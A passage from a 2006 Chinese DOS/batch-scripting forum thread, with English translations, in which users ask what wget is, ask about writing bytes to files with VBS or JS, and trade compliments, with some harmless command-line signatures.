2006-10-16 05:46 |
|
|
mydoslg
初级用户
 
积分 39
发帖 15
注册 2006-10-14
状态 离线
|
『第 9 楼』:
使用 LLM 解释/回答一下
wget是一个程序还是什么啊
Is wget is a program? Or something else?
|
|
2006-10-16 16:34 |
|
|
electronixtar
铂金会员
      
积分 7493
发帖 2672
注册 2005-9-2
状态 离线
|
『第 10 楼』:
使用 LLM 解释/回答一下
如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教
偶倒是想试试~~呵呵
If anyone can use VBS or JS to write arbitrary byte data to a file, I sincerely request your guidance.
Oh, I really want to give it a try ~~ Hehe
|

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
|
2006-11-18 01:27 |
|
|
sdb001
新手上路

积分 4
发帖 2
注册 2006-11-18
状态 离线
|
『第 11 楼』:
使用 LLM 解释/回答一下
Originally posted by mydoslg at 2006-10-16 03:34 AM:
wget是一个程序还是什么啊
wget是一个网络命令工具,一个命令!我只会在命令行下用他下载东西!
这里的shell功夫真的好强,这些年电脑白玩了!
Originally posted by mydoslg at 2006-10-16 03:34 AM:
What is wget, a program or something else?
Wget is a network command-line tool, a command! I only use it to download things in the command line!
The shell skills here are really strong, I've wasted my computer all these years!
|
|
2006-11-18 09:17 |
|
|
hxuan999
中级用户
   DOS之日
积分 337
发帖 161
注册 2006-11-4
状态 离线
|
『第 12 楼』:
使用 LLM 解释/回答一下
要好好学呀.
|

for /f %%h in (`echo hxuan`) do for /f %%x in (`echo hxuan`) do if %%h==%%x nul |
|
2006-11-23 07:18 |
|
|
andred0421
初级用户
 
积分 114
发帖 47
注册 2006-11-20
状态 离线
|
|
2006-11-23 15:17 |
|
|
redtek
金牌会员
     
积分 2902
发帖 1147
注册 2006-9-21
状态 离线
|
『第 14 楼』:
使用 LLM 解释/回答一下
欣赏~~看着此贴比吃饭都香~:)
Appreciate~~ Looking at this post is more delicious than eating~~ :)
|

Redtek,一个永远在网上流浪的人……
_.,-*~'`^`'~*-,.__.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._ |
|
2006-11-25 02:57 |
|
|
anqing
高级用户
   
积分 859
发帖 413
注册 2006-8-14
状态 离线
|
|
2006-11-25 05:42 |
|
|